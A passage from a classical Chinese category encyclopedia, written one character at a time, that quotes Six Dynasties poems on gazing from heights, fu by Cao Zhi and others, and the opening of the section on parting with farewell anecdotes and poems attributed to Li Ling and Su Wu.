. 从 君 采 萝 葛 . 宁 复 想 轻 肥 .\n梁 萧 子 晖 应 教 使 客 春 游 诗 曰 . 上 林 看 草 色 . 河 桥 望 日 晖 . 洛 阳 城 闭 晚 . 金 鞍 横 路 归 .\n梁 萧 子 云 落 日 郡 西 斋 望 海 山 诗 曰 . 渔 舟 暮 出 浦 . 汉 女 采 莲 归 . 夕 云 向 山 合 . 水 鸟 望 田 飞 . 蝉 鸣 早 秋 至 . 蕙 草 无 芳 菲 . 故 隐 天 山 北 . 梦 想 日 依 依 .\n梁 吴 筠 登 钟 山 宴 集 望 西 静 坛 诗 曰 . 客 思 何 以 缓 . 春 郊 满 初 律 . 高 车 陆 离 至 . 骏 骑 差 池 出 . 宝 碗 泛 莲 花 . 珍 杯 食 竹 实 . 才 胜 商 山 四 . 文 高 竹 林 七 . 复 望 子 乔 坛 . 金 绳 蕴 绿 帙 . 风 云 生 屋 宇 . 芝 英 被 仙 室 . 方 随 凤 皇 去 . 悠 然 驾 白 日 .\n又 迎 柳 吴 兴 道 中 诗 曰 . 团 团 日 西 靡 . 客 念 已 蹉 跎 . 长 风 倒 危 叶 . 轻 练 网 寒 波 . 白 云 光 采 丽 . 青 松 意 气 多 . 所 言 饱 恩 德 . 忘 我 北 山 萝 .\n梁 庾 肩 吾 登 城 北 望 诗 曰 . 誓 师 屠 六 郡 . 登 城 望 九 . 山 沉 黄 雾 里 . 地 尽 黑 云 中 . 霜 戈 曜 垄 日 . 哀 笳 断 寒 风 .\n又 和 卫 尉 新 渝 侯 巡 城 口 号 诗 曰 . 维 城 寄 右 戚 . 巡 警 属 勤 王 . 南 瞻 通 灞 岸 . 北 眺 指 横 芒 . 入 汉 飞 延 阁 . 临 云 出 建 章 . 步 逐 天 津 远 . 城 随 秋 夜 长 . 露 槐 落 金 气 . 风 寮 上 堑 凉 .\n又 暮 游 山 水 赋 韵 得 碛 应 令 诗 曰 . 余 春 属 清 夜 . 西 园 恣 游 历 . 入 径 转 金 舆 . 开 桥 通 画 鹢 . 细 藤 初 上 楥 . 新 流 渐 涵 碛 . 云 峰 没 城 柳 . 电 影 开 岩 壁 .\n又 和 晋 安 王 薄 晚 逐 凉 北 楼 回 望 诗 曰 . 向 夕 纷 喧 屏 . 追 凉 飞 观 中 . 树 隐 临 城 日 . 窗 含 度 水 风 . 遥 天 如 接 岸 . 远 帆 似 凌 空 . 陪 文 惭 宋 玉 . 徒 等 侍 兰 宫 .\n梁 王 僧 孺 落 日 登 高 诗 曰 . 凭 高 且 一 望 . 目 极 不 能 舍 . 东 北 指 青 门 . 西 南 见 白 社 . 轸 轸 河 梁 上 . 纷 纷 渭 桥 下 . 争 利 亦 争 名 . 驱 车 复 驱 马 . 宁 访 蓬 蒿 人 . 谁 怜 寂 寞 者 .\n又 至 牛 渚 忆 魏 少 英 诗 曰 . 枫 林 暧 似 画 . 沙 岸 静 如 扫 . 空 笼 望 玄 石 . 回 斜 见 危 岛 . 绿 草 闲 游 蜂 . 青 葭 集 轻 鸨 . 徘 徊 洞 初 月 . 侵 淫 溃 春 涝 . 非 愿 岁 物 华 . 徒 用 风 光 好 .\n梁 王 筠 和 卫 新 渝 侯 巡 城 诗 曰 . 阊 阖 暧 已 昏 . 钩 陈 杳 将 暮 . 栖 鸟 城 上 反 . 晚 雀 林 中 度 . 阁 道 趋 文 昌 . 禁 兵 连 武 库 . 铜 乌 迎 早 风 . 金 掌 承 朝 露 . 罘 罳 分 晓 色 . 睥 睨 生 秋 雾 .\n梁 刘 绥 和 晚 日 登 楼 诗 曰 . 所 以 登 台 榭 . 正 重 接 烟 霞 . 长 虹 触 栏 断 . 归 鸟 避 空 斜 . 俯 巢 窥 瞑 宿 . 临 树 摘 高 花 . 百 雉 时 方 晚 . 九 层 光 尚 赊 .\n梁 宗 懔 和 岁 道 寒 望 诗 曰 . 旅 骑 出 平 原 . 钲 铙 遍 野 喧 . 接 里 开 都 邑 . 连 车 驻 小 门 . 稻 车 回 故 坞 . 猎 马 转 新 村 . 古 碑 空 戴 石 . 山 龛 未 上 幡 . 所 言 春 不 至 . 未 有 桃 花 源 .\n北 齐 刘 逖 秋 朝 野 望 诗 曰 . 驻 车 凭 险 岸 . 飞 盖 历 平 湖 . 菊 寒 花 稍 发 . 莲 秋 叶 渐 枯 . 向 浦 低 行 雁 . 排 空 转 噪 乌 . 若 将 君 共 赏 . 何 处 减 城 隅 .\n陈 阴 铿 和 登 百 花 亭 怀 荆 楚 诗 曰 . 江 陵 一 柱 观 . 寻 阳 千 里 潮 . 风 烟 望 似 接 . 川 路 恨 成 遥 . 落 花 轻 未 下 . 飞 丝 断 易 飘 . 藤 长 还 依 格 . 荷 生 不 避 桥 . 阳 台 可 忆 处 . 唯 有 暮 将 朝 .\n又 登 武 昌 岸 望 诗 曰 . 游 人 试 历 览 . 旧 迹 但 丘 墟 . 巴 水 萦 非 字 . 楚 山 断 类 书 . 荒 城 高 仞 落 . 古 柳 细 条 疏 . 湮 芜 遂 若 此 . 当 不 为 能 居 .\n又 和 侯 司 空 登 楼 望 乡 诗 曰 . 怀 土 临 霞 观 . 思 归 想 石 门 . 瞻 云 望 鸟 道 . 对 柳 忆 家 园 . 寒 田 获 里 静 . 野 日 烧 中 昏 . 信 美 今 何 益 . 伤 心 自 有 源 .\n陈 张 正 见 游 龙 首 城 诗 曰 . 关 外 山 川 阔 . 城 隅 尘 雾 浮 . 白 云 凝 绝 岭 . 沧 波 间 断 洲 . 四 面 观 长 薄 . 千 里 眺 平 丘 . 河 津 无 桂 树 . 樽 酒 自 淹 留 .\n又 随 江 总 秋 日 登 广 州 城 南 楼 诗 曰 . 秋 城 韵 晚 笛 . 危 榭 引 清 风 . 远 气 疑 埋 剑 . 惊 禽 似 避 弓 . 海 树 一 边 出 . 山 云 四 面 通 . 野 火 初 烟 细 . 新 月 半 轮 空 . 塞 外 离 群 鸟 . 颜 鬓 早 如 蓬 . 徒 怀 建 邺 水 . 复 想 洛 阳 宫 . 不 及 孤 飞 雁 . 独 在 上 林 中 .\n【 赋 】 后 汉 班 彪 游 居 赋 曰 . 夫 何 事 于 冀 州 . 聊 托 公 以 游 居 . 历 九 土 而 观 风 . 亦 惭 人 之 所 虞 . 遂 发 轸 于 京 洛 . 临 孟 津 而 北 厉 . 想 尚 甫 之 威 虞 . 号 苍 兕 而 明 誓 . 既 中 流 而 叹 息 . 美 周 武 之 知 性 . 谋 人 神 以 动 作 . 享 乌 鱼 之 瑞 命 . 瞻 淇 澳 之 园 林 . 美 绿 竹 之 猗 猗 . 望 常 山 之 峨 峨 . 登 北 岳 而 高 游 . 嘉 孝 武 之 干 干 . 亲 饰 躬 于 伯 姬 . 建 封 禅 于 岱 宗 . 瘗 玄 玉 于 此 丘 . 遍 五 岳 与 四 渎 . 观 沧 海 以 周 流 . 鄙 臣 恨 不 及 事 . 陪 后 乘 之 下 僚 . 今 匹 马 之 独 征 . 岂 斯 乐 之 足 娱 . 且 休 精 于 敝 邑 . 聊 卒 岁 以 须 臾 .\n魏 陈 王 曹 植 节 游 赋 曰 . 览 宫 宇 之 显 丽 . 实 大 人 之 攸 居 . 建 三 台 于 前 处 . 飘 飞 陛 以 凌 虚 . 连 云 阁 以 远 径 . 营 观 榭 于 城 隅 . 亢 高 轩 以 迥 眺 . 缘 云 霓 而 结 疏 . 仰 西 岳 之 崧 岑 . 临 漳 滏 之 清 渠 . 观 靡 靡 而 无 终 . 何 眇 眇 而 难 殊 . 亮 灵 后 之 所 处 . 非 吾 人 之 所 庐 . 于 是 仲 春 之 月 . 百 卉 丛 生 . 萋 萋 蔼 蔼 . 翠 叶 朱 茎 . 竹 林 青 葱 . 珍 果 含 荣 . 凯 风 发 而 时 鸟 讙 . 微 波 动 而 水 虫 鸣 . 感 气 运 之 和 润 . 乐 时 泽 之 有 成 . 遂 乃 浮 素 盖 . 御 骅 骝 . 命 友 生 . 携 同 俦 . 诵 风 人 之 所 叹 . 遂 驾 言 而 出 游 . 步 北 园 而 驰 骛 . 庶 翱 翔 以 写 忧 . 望 洪 池 之 滉 漾 . 遂 降 集 乎 轻 舟 . 沉 浮 蚁 于 金 罍 . 行 觞 爵 于 好 仇 . 丝 竹 发 而 响 厉 . 悲 风 激 于 中 流 . 且 容 与 以 尽 观 . 聊 永 日 而 忘 愁 . 嗟 羲 和 之 奋 策 . 怨 曜 ● 之 无 光 . 念 人 生 之 不 永 . 若 春 日 之 微 霜 . 谅 遗 名 之 可 纪 . 信 天 命 之 无 常 . 愈 志 荡 以 淫 游 . 非 经 国 之 大 纲 . 罢 曲 宴 而 旋 服 . 遂 言 归 乎 旧 房 .\n又 感 节 赋 曰 . 携 友 生 而 游 观 . 尽 宾 主 之 所 求 . 登 高 墉 以 永 望 . 冀 销 日 以 忘 忧 . 欣 阳 春 之 潜 润 . 乐 时 泽 之 惠 休 . 望 候 雁 之 翔 集 . 想 玄 鸟 之 来 游 . 嗟 征 夫 之 长 勤 . 虽 处 逸 而 怀 愁 . 惧 天 河 之 一 回 . 没 我 身 乎 长 流 . 岂 吾 乡 之 足 顾 . 恋 祖 宗 之 灵 丘 . 惟 人 生 之 忽 过 . 若 凿 石 之 未 曜 . 慕 牛 山 之 哀 泣 . 惧 平 仲 之 我 笑 . 折 若 华 之 翳 日 . 庶 朱 光 之 长 照 . 愿 寄 躯 于 飞 蓬 . 乘 阳 风 而 远 飘 . 亮 吾 志 之 不 从 . 乃 拊 心 以 叹 息 . 青 云 郁 其 西 翔 . 飞 鸟 翩 而 上 匿 . 欲 纵 体 而 从 之 . 哀 予 身 之 无 翼 . 大 风 隐 其 四 起 . 扬 黄 尘 之 冥 冥 . 野 兽 惊 以 求 群 . 草 木 纷 其 扬 英 . 见 游 鱼 之 涔 灂 . 感 流 波 之 悲 声 . 内 纡 曲 而 潜 结 . 心 怛 惕 以 中 惊 . 匪 荣 德 之 累 身 . 恐 年 命 之 早 零 . 慕 归 全 之 明 义 . 庶 不 忝 乎 所 生 .\n魏 杨 脩 节 游 赋 曰 . 尔 乃 息 偃 暇 豫 . 携 手 同 征 . 游 乎 北 园 . 以 娱 以 逞 . 钦 太 ● 之 统 气 . 乐 干 坤 之 布 灵 . 诞 烟 熅 之 纯 和 . 百 卉 挺 而 滋 生 . 谷 风 习 以 顺 时 . 桡 百 物 而 有 成 . 行 中 林 以 仿 徨 . 玩 奇 树 之 抽 英 . 或 素 华 而 雪 朗 . 或 红 彩 而 发 赪 . 绿 叶 幽 蒂 . 紫 柯 朱 茎 . 杨 柳 依 依 . 钟 龙 蔚 青 . 纷 灼 灼 以 舒 葩 . 芳 馥 馥 以 播 馨 . 嗟 珍 果 之 丛 生 . 每 异 类 而 绝 形 . 禀 冲 和 以 固 植 . 信 能 实 而 先 荣 . 于 是 回 旋 详 观 . 目 周 意 倦 . 御 于 方 舟 . 载 笑 载 言 . 仰 溯 凉 风 . 俯 濯 纤 腕 . 极 欢 欣 以 从 容 . 乃 升 车 而 来 反 .\n【 叹 】 晋 石 崇 思 归 叹 曰 . 登 城 隅 兮 临 长 江 . 极 望 无 涯 兮 思 填 胸 . 鱼 瀺 灂 兮 鸟 缤 翻 . 泽 雉 游 枭 兮 戏 中 园 . 秋 风 厉 兮 鸿 雁 征 . 蟋 蟀 嘈 嘈 兮 晨 夜 鸣 . 落 叶 飘 兮 枯 枝 竦 . 百 草 零 兮 覆 畦 垄 . 时 光 逝 兮 年 易 尽 . 感 彼 岁 暮 兮 怅 自 愍 . 廓 羁 旅 兮 滞 野 都 . 愿 御 北 风 兮 忽 归 徂 . 惟 金 石 兮 幽 且 清 . 林 郁 茂 兮 芳 卉 盈 . 玄 泉 流 兮 萦 丘 阜 . 阁 馆 萧 寥 兮 荫 丛 柳 . 吹 长 笛 兮 弹 五 弦 . 高 歌 凌 云 兮 乐 余 年 . 舒 篇 卷 兮 与 圣 谈 . 释 冕 投 绂 兮 希 彭 聃 . 超 逍 遥 兮 绝 尘 埃 . 福 亦 不 至 兮 祸 不 来 .\n【 书 】 魏 应 璩 与 满 公 琰 书 . 徒 恨 宴 乐 始 酣 . 白 日 倾 夕 . 骊 驹 就 驾 . 意 不 宣 展 . 追 惟 耿 介 . 迄 于 明 发 . 适 欲 遣 书 . 会 承 来 命 . 知 诸 君 子 . 复 有 漳 渠 之 会 . 西 有 伯 阳 之 观 . 北 有 旷 野 之 望 . 高 榭 翳 朝 云 . 文 禽 蔽 绿 水 . 沙 场 夷 敞 . 清 风 肃 穆 . 是 泉 台 之 乐 也 . 得 无 流 而 不 反 乎 . 适 有 事 务 . 须 自 经 营 . 不 获 侍 坐 . 良 增 悒 悒 .\n又 与 从 弟 君 胄 书 曰 . 闲 者 北 游 . 喜 欢 无 量 . 登 芒 济 河\n. 旷 若 发 蒙 . 风 伯 扫 除 . 雨 师 洒 道 . 按 辔 清 路 . 周 望 山\n野 . 亦 既 至 止 . 酌 彼 春 酒 . 接 武 茅 茨 . 栋 过 大 厦 . 献 寸\n肴 脩 . 味 逾 方 丈 . 逍 遥 陂 塘 之 上 . 吟 咏 花 柳 之 下 . 结 春\n芳 以 崇 佩 . 折 若 华 以 翳 日 . 弋 下 高 云 之 鸟 . 饵 出 深 川 之\n鱼 . 蒲 菹 赞 善 . 便 螺 称 妙 . 何 其 乐 哉 . 虽 仲 尼 忘 味 于 虞\n韶 . 楚 人 流 遯 于 荆 台 . 无 以 过 也 . 班 嗣 之 书 . 信 不 虚 矣\n. 未 还 京 都 . 块 然 独 处 . 营 宅 滨 洛 . 困 于 嚣 尘 . 思 乐 汶\n上 . 发 于 寤 寐 . 昔 伊 尹 辍 耕 . 郅 恽 放 羊 . 思 致 君 于 有 虞\n. 济 蒸 民 于 涂 炭 . 而 吾 方 欲 执 耒 于 山 阳 . 沉 缗 于 丹 水 .\n知 其 不 如 古 人 远 矣 . 然 山 甫 不 贪 天 地 之 乐 . 曾 参 不 慕 晋\n楚 之 富 . 亦 其 志 也 .\n人 部 十 三 别\n上\n又 曰 . 显 父 饯 之 . 清 酒 百 壶 .\n又 曰 . 燕 燕 . 卫 庄 姜 送 归 妾 也 .\n又 曰 . 之 子 于 归 . 远 送 于 野 .\n又 曰 . 有 女 仳 离 . 慨 其 叹 矣 .\n礼 记 曰 . 嫁 女 之 家 . 三 夜 不 息 烛 . 思 相 离 也 . 事 具 礼 部 .\n家 语 曰 . 孔 子 去 周 . 而 老 子 送 之 曰 . 吾 闻 富 贵 者 送 之 以 财 . 仁 者 送 之 以 言 . 吾 虽 不 能 富 贵 . 而 窃 仁 者 之 号 . 请 送 子 以 言 乎 . 凡 当 世 之 聪 明 深 察 而 近 于 死 者 . 好 议 人 者 也 . 博 辩 闳 大 而 危 其 身 者 . 好 发 人 之 恶 者 也 . 孔 子 曰 . 敬 授 ○ 初 学 记 十 八 . 太 平 御 览 四 百 八 十 九 作 奉 . 教 .\n楚 辞 曰 . 离 . 别 也 . 骚 . 愁 也 . 言 己 放 逐 离 别 . 中 心 愁 思 .\n又 曰 . 悲 莫 悲 兮 生 离 别 . 乐 莫 乐 兮 新 相 知 .\n又 曰 . 憭 栗 兮 若 在 远 行 . 登 山 临 水 送 将 归 .\n又 曰 . 超 北 梁 兮 永 辞 . 送 美 人 兮 南 浦 .\n吕 氏 春 秋 曰 . 吴 起 . 魏 武 侯 送 之 曰 . 何 以 治 西 河 . 对 曰 . 以 忠 信 .\n吴 越 春 秋 曰 . 勾 践 伐 吴 . 乃 命 国 中 与 之 诀 . 而 国 人 悲 哀 . 皆 作 离 别 之 声 .\n又 曰 . 群 臣 送 勾 践 . 至 于 江 上 . 临 水 祖 道 . 大 夫 种 为 祝 . 勾 践 举 杯 垂 涕 .\n孔 丛 曰 . 子 高 游 赵 . 平 原 君 客 有 邹 文 李 节 者 . 与 相 友 善 . 及 将 还 鲁 . 诸 故 人 诀 既 毕 . 文 节 送 行 . 三 宿 . 临 别 . 文 节 流 涕 交 颐 . 子 高 徒 抗 手 而 已 . 分 背 就 路 . 其 徒 问 曰 . 先 生 与 彼 二 子 善 . 彼 有 恋 恋 之 心 . 未 知 后 会 何 期 . 凄 怆 流 涕 . 而 先 生 厉 声 高 揖 . 无 乃 非 亲 亲 之 谓 乎 . 子 高 曰 . 始 吾 谓 二 子 丈 夫 尔 . 乃 今 知 其 妇 人 也 . 人 岂 鹿 豕 也 哉 . 而 常 群 聚 乎 .\n汉 书 曰 . 武 帝 平 阳 公 主 家 卫 子 夫 . 得 幸 . 主 因 奏 子 夫 送 入 宫 . 子 夫 上 车 . 主 拊 其 背 曰 . 去 矣 . 即 贵 愿 无 相 忘 . 事 具 储 官 部 公 主 篇 .\n又 曰 . 疏 广 与 兄 子 受 . 并 为 皇 太 子 师 傅 . 广 谓 受 曰 . 吾 闻 知 足 不 辱 . 知 止 不 殆 . 功 遂 身 退 . 天 之 道 也 . 遂 上 疏 乞 骸 骨 . 上 许 之 . 公 卿 大 夫 . 故 人 邑 子 . 遂 为 设 祖 道 . 供 帐 东 都 门 外 . 送 者 车 数 百 两 . 辞 诀 去 . 及 道 路 观 者 . 皆 曰 . 贤 哉 二 大 夫 . 或 叹 息 . 为 之 下 泣 .\n又 曰 . 李 广 利 将 兵 击 匈 奴 . 丞 相 为 祖 道 . 至 渭 桥 .\n又 曰 . 窦 皇 后 弟 广 国 曰 . 姊 去 我 西 时 . 与 我 诀 于 传 舍 中 . 沐 我 .\n又 曰 . 成 帝 遣 定 陶 王 之 国 . 王 辞 去 . 上 与 相 对 泣 而 诀 .\n东 观 汉 记 曰 . 陈 遵 使 匈 奴 . 过 辞 于 王 丹 . 丹 谓 遵 曰 . 俱 遭 世 反 覆 . 唯 我 二 人 为 天 地 所 遗 . 今 子 当 之 绝 域 . 无 以 相 赠 . 赠 子 以 不 拜 . 遂 揖 而 别 . 遵 甚 喜 .\n又 曰 . 东 平 王 苍 . 与 诸 王 朝 京 师 . 月 余 还 . 帝 临 送 . 归 宫 凄 然 怀 思 . 乃 遣 使 手 诏 诸 国 曰 . 辞 别 之 后 . 独 坐 不 乐 . 因 就 车 归 . 伏 轼 而 吟 . 瞻 望 永 怀 . 实 劳 我 心 . 诵 及 采 菽 . 以 增 叹 息 .\n又 曰 . 肃 宗 遣 诸 王 归 国 . 帝 特 留 东 平 王 苍 . 赐 以 秘 书 列 图 . 道 术 秘 方 . 至 八 月 饮 酎 毕 . 有 司 复 奏 遣 苍 . 乃 许 之 . 手 诏 赐 苍 曰 . 骨 肉 与 天 性 . 诚 不 以 远 近 亲 疏 . 然 数 见 颜 色 . 情 重 昔 时 . 中 心 恋 恋 . 恻 然 不 能 言 . 于 是 车 驾 祖 送 . 流 涕 而 诀 . 复 赐 乘 舆 服 御 珍 宝 . 鞍 马 钱 布 . 以 亿 万 计 .\n又 曰 . 光 武 遣 冯 异 讨 赤 眉 . 车 驾 送 至 河 南 . 赐 以 乘 舆 七 尺 具 剑 . 敕 异 曰 . 念 自 修 整 . 无 为 郡 县 所 笑 . 异 顿 首 受 命 .\n谢 承 后 汉 书 曰 . 范 丹 与 王 奂 亲 善 . 奂 后 为 汉 阳 太 守 . 丹 于 道 候 别 之 . 奂 曰 . 行 路 仓 卒 . 非 陈 阔 之 所 . 可 共 到 前 亭 宿 息 . 以 叙 分 隔 . 丹 曰 . 今 子 远 适 千 里 . 会 面 无 期 . 如 其 相 追 . 将 有 慕 贵 之 讥 矣 . 便 起 告 违 . 拂 衣 而 去 . 奂 瞻 望 弗 及 . 丹 长 逝 不 顾 .\n吴 志 曰 . 鲁 肃 代 周 瑜 . 过 吕 蒙 . 酒 酣 . 蒙 问 肃 曰 . 君 受 重 任 . 与 关 羽 为 邻 . 将 何 计 略 . 以 备 不 虞 . 肃 应 曰 . 临 时 施 宜 . 蒙 因 为 画 五 策 . 肃 于 是 越 席 就 之 . 拊 其 背 曰 . 吕 子 明 . 吾 不 知 卿 才 略 所 及 . 至 于 此 也 . 遂 拜 蒙 母 . 结 友 而 别 .\n又 曰 . 刘 繇 亡 于 豫 章 . 孙 策 命 太 史 慈 往 安 抚 之 . 左 右 皆 曰 . 慈 必 北 去 不 还 . 策 曰 . 子 义 舍 我 . 当 复 与 谁 . 饯 送 昌 门 . 把 腕 别 曰 . 何 时 能 还 . 答 曰 . 不 过 六 十 日 . 果 如 期 而 反 .\n吴 录 曰 . 孙 权 祖 朱 桓 . 桓 奉 觞 曰 . 臣 当 远 去 . 愿 一 持 陛 下 须 . 无 所 恨 . 权 凭 机 前 席 . 桓 进 捋 须 .\n魏 志 曰 . 曹 休 为 镇 南 将 军 . 假 节 都 督 军 事 . 车 马 临 送 . 下 舆 执 手 而 别 .\n蜀 志 曰 . 宗 豫 聘 吴 . 孙 权 捉 豫 手 . 涕 泣 而 别 曰 . 君 每 衔 命 . 结 二 国 之 好 . 今 君 年 长 . 孤 亦 老 矣 . 恐 不 复 相 见 .\n管 辂 别 传 曰 . 诸 葛 乐 ○ 魏 志 二 十 九 管 辂 传 作 原 . 与 辂 别 . 戒 以 二 言 . 卿 性 乐 酒 . 虽 温 克 . 然 不 可 保 . 宁 当 节 之 . 卿 有 水 镜 之 才 . 所 见 者 妙 . 祸 如 膏 火 . 不 可 不 慎 .\n许 迈 别 传 曰 . 迈 好 养 生 . 遣 妻 归 家 . 东 游 . 采 药 于 桐 庐 山 . 欲 断 谷 . 以 山 近 人 . 不 得 专 一 . 移 入 临 安 . 自 以 无 复 反 . 乃 改 名 远 游 . 书 与 妇 别 .\n语 林 曰 . 有 人 诣 谢 公 别 . 谢 公 流 涕 . 此 人 了 不 悲 . 既 去 . 左 右 曰 . 向 客 殊 自 密 云 . 谢 公 曰 . 非 徒 密 云 . 乃 自 旱 雷 尔 .\n俗 说 曰 . 张 敷 从 彭 城 还 . 傅 亮 下 舡 与 别 . 张 不 起 . 授 手 着 舫 户 外 . 傅 遂 不 执 手 . 熟 视 张 面 云 . 查 故 是 灾 中 不 臧 者 . 便 去 .\n世 说 曰 . 阮 籍 嫂 尝 归 家 . 籍 相 见 与 别 . 人 或 讥 之 . 籍 曰 . 礼 岂 为 我 辈 设 耶 .\n广 州 记 曰 . 尉 他 筑 台 . 以 朝 朔 望 . 构 起 华 馆 . 以 送 陆 贾 . 事 具 居 处 部 .\n沈 约 宋 书 曰 . 张 敷 音 仪 详 缓 . 与 人 别 . 执 手 曰 . 念 相 闻 . 余 响 久 之 不 绝 .\n又 曰 . 殷 仲 文 还 姑 熟 . 祖 送 倾 朝 . 桓 谦 要 参 军 王 弘 同 行 . 答 曰 . 饯 离 送 别 . 必 在 有 情 . 下 官 与 殷 风 马 不 接 . 无 缘 扈 从 . 谦 贵 其 言 .\n【 诗 】 古 诗 曰 . 行 行 重 行 行 . 与 君 生 别 离 . 相 去 万 余 里 . 各 在 一 天 ○ 文 选 二 十 九 . 初 学 记 十 八 作 天 一 . 涯 . 道 路 阻 且 长 . 会 面 安 可 知 . 胡 马 依 北 风 . 越 鸟 巢 南 枝 . 相 去 日 已 远 . 衣 带 日 已 缓 . 浮 云 蔽 白 日 . 游 子 不 顾 反 . 思 君 令 人 老 . 岁 月 忽 已 晚 . 弃 捐 勿 复 道 . 努 力 加 餐 饭 .\n又 古 诗 曰 . 明 月 何 皎 皎 . 照 我 罗 床 帷 . 忧 愁 不 能 寐 . 揽 衣 起 徘 徊 . 行 客 虽 云 乐 . 不 如 早 旋 归 .\n古 诗 曰 . 涉 江 采 芙 蓉 . 兰 泽 多 芳 草 . 采 之 欲 遗 谁 . 所 思 在 远 道 . 还 顾 望 旧 乡 . 长 路 漫 浩 浩 . 同 心 而 离 居 . 忧 伤 已 终 老 .\n古 诗 曰 . 庭 中 有 奇 树 . 绿 叶 发 华 滋 . 攀 条 折 其 荣 . 将 以 遗 所 思 . 馨 香 盈 怀 袖 . 路 远 莫 致 之 . 此 物 何 足 贵 . 但 感 别 经 时 .\n汉 李 陵 赠 苏 武 别 诗 曰 . 晨 风 鸣 北 林 . 熠 燿 东 南 飞 . 愿 言 所 相 思 . 日 暮 不 垂 帷 . 明 月 照 高 楼 . 想 见 余 光 辉 . 玄 鸟 夜 过 庭 . 髣 佛 能 复 飞 . 褰 裳 路 踟 蹰 . 仿 徨 不 能 归 . 浮 云 日 千 里 . 安 知 我 心 悲 . 思 得 琼 树 枝 . 以 解 长 渴 饥 .\n又 赠 苏 武 别 诗 曰 . 良 时 不 再 至 . 离 别 在 须 臾 . 屏 营 衢 路 侧 . 执 手 野 踟 蹰 . 仰 视 浮 云 驰 . 奄 忽 交 相 逾 . 风 波 一 失 路 . 各 在 一 天 ○ 文 选 二 十 九 作 天 一 . 隅 . 长 当 从 此 别 . 且 复 去 斯 须 . 欲 因 晨 风 发 . 送 子 以 贱 躯 .\n苏 武 诗 曰 . 骨 肉 缘 枝 叶 . 结 交 亦 相 因 . 四 海 皆 兄 弟 . 谁 为 行 路 人 . 况 我 连 枝 树 . 与 子 同 一 身 . 昔 为 鸳 与 鸯 . 今 为 参 与 辰 . 昔 在 常 相 近 . 邈 若 胡 与 秦 . 惟 念 当 离 别 . 思 情 日 已 新 . 鹿 鸣 思 野 草 . 可 以 喻 嘉 宾 . 我 有 一 樽 酒 . 欲 以 赠 远 人 . 愿 子 留 斟 酌 . 慰 我 平 生 亲 .\n又 赠 苏 武 别 诗 曰 . 嘉 会 难 再 遇 . 三 载 为 千 秋 . 临 河 濯 长 缨 . 念 别 怅 悠 悠 . 望 望 悲 风 至 . 对 酒 不 能 酬 . 行 人 怀 往 路 . 何 以 慰 我 愁 . 独 有 盈 觞 酒 . 与 子 结 绸 缪 .\n又 苏 武 诗 曰 . 黄 鹄 一 远 别 . 千 里 顾 徘 徊 . 胡 马 失 其 群 . 思 心 常 依 依 . 何 况 双 飞 龙 . 羽 翼 临 当 乖 . 幸 有 弦 歌 曲 . 可 以 喻 中 怀 . 请 为 游 子 吟 . 泠 泠 一 何 悲 . 丝 竹 厉 清 声 . 慷 慨 有 余 哀 . 长 歌 正 激 烈 . 中 心 怆 以 摧 . 欲 展 清 商 曲 . 念 子 不 能 归 . 俛 仰 内 伤 心 . 泪 下 不 可 挥 . 愿 为 双 黄 鹄 . 送 子 俱 远 飞 .\n又 赠 苏 武 诗 曰 . 携 手 上 河 梁 . 游 子 暮 何 之 . 徘 徊 溪 路 侧 . 恨 恨 不 能 离 . 行 人 难 久 留 . 各 言 长 相 思 . 安 知 非 日 月 . 弦 望 自 有 时 . 努 力 崇 明 德 . 皓 首 以 为 期 .\n又 赠 苏 武 别 诗 曰 . 陟 彼 南 山 隅 . 送 子 淇 水 阳 . 尔 行 西 南 游 . 我 独 东 北 翔 . 辕 马 顾 悲 鸣 . 五 步 一 仿 徨 . 双 凫 相 背 飞 . 相 远 日 已 长 . 远 望 云 中 路 . 想 见 来 珪 璋 . 万 里 遥 相 思 . 何 益 心 独 伤 . 随 时 爱 景 曜 . 愿 言 莫 相 忘 .\n又 赠 苏 武 诗 曰 . 烁 烁 三 星 列 . 拳 拳 月 初 生 . 寒 凉 应 节 至 . 蟋 蟀 夜 悲 鸣 . 晨 风 动 乔 木 . 枝 叶 日 夜 零 . 游 子 暮 归 思 . 塞 耳 不 能 听 . 远 望 正 萧 条 . 百 里 无 人 声 . 远 处 天 一 隅 . 苦 困 独 伶 丁 . 亲 人 随 风 散 . 沥 滴 如 流 星 . 愿 得 萱 草 枝 . 以 解 饥 渴 情 .\n又 赠 苏 武 别 诗 曰 . 钟 子 歌 南 音 . 仲 尼 叹 归 与 . 戎 马 悲 边 鸣 . 游 子 恋 故 庐 . 阳 鸟 归 飞 云 . 蛟 龙 乐 潜 居 . 人 生 一 世 闲 . 贵 与 愿 同 俱 . 身 无 四 凶 罪 . 何 为 天 一 隅 . 与 其 苦 筋 力 . 必 欲 荣 薄 躯 . 不 如 及 清 时 . 策 名 于 天 衢 .\n汉 苏 武 别 李 陵 诗 曰 . 双 凫 俱 北 飞 . 一 凫 独 南 翔 . 子 当 留 斯 馆 . 我 当 归 故 乡 . 一 别 如 秦 胡 . 会 见 何 讵 央 . 怆 恨 切 中 怀 . 不 觉 泪 沾 裳 . 愿 子 长 努 力 . 言 笑 莫 相 忘 .\n又 别 李 陵 诗 曰 . 征 夫 怀 往 路 . 起 视 夜 何 其 . 参 辰 皆 已 没 . 去 去 从 此 辞 . 行 役 在 战 场 . 相 见 未 有 期 . 握 手 一 长 叹 . 泪 为 生 别 滋 . 努 力 爱 春 华 . 莫 忘 欢 乐 时 . 生 当 复 来 归 . 死 当 长 相 思 .\n魏 文 帝 代 刘 勋 出 妻 王 氏 诗 曰 . 翩 翩 床 前 帐 . 可 以 蔽 光 辉 . 昔 将 尔 同 去 . 今 将 尔 共 归 . 缄 藏 箧 笥 里 . 当 复 何 时 披 .\n魏 陈 王 曹 植 诗 曰 . 门 有 万 里 客 . 问 君 何 乡 人 . 褰 裳 起 从 之 . 果 得 心 所 亲 . 挽 裳 对 我 泣 . 太 息 前 自 陈 . 本 是 朔 方 士 . 今 为 吴 越 民 . 行 行 将 复 行 . 去 去 适 西 秦 .\n又 诗 曰 . 微 阴 翳 阳 景 . 清 风 飘 我 衣 . 游 鱼 潜 渌 水 . 翔 鸟 薄 天 飞 . 眇 眇 客 行 士 . 徭 役 不 得 归 . 始 出 严 霜 结 . 今 来 白 露 晞 . 游 子 叹 黍 离 . 处 者 歌 式 微 . 慷 慨 对 嘉 宾 . 凄 怆 内 伤 悲 .\n又 送 应 氏 诗 曰 . 愿 得 展 嬿 婉 . 我 友 之 朔 方 . 亲 昵 并 集 送 . 置 酒 此 河 阳 . 山 川 迥 且 远 . 别 促 会 日 长 .\n又 离 友 诗 曰 . 凉 风 肃 兮 白 露 滋 . 木 感 气 兮 条 叶 辞 . 临 渌 水 兮 登 重 基 . 折 秋 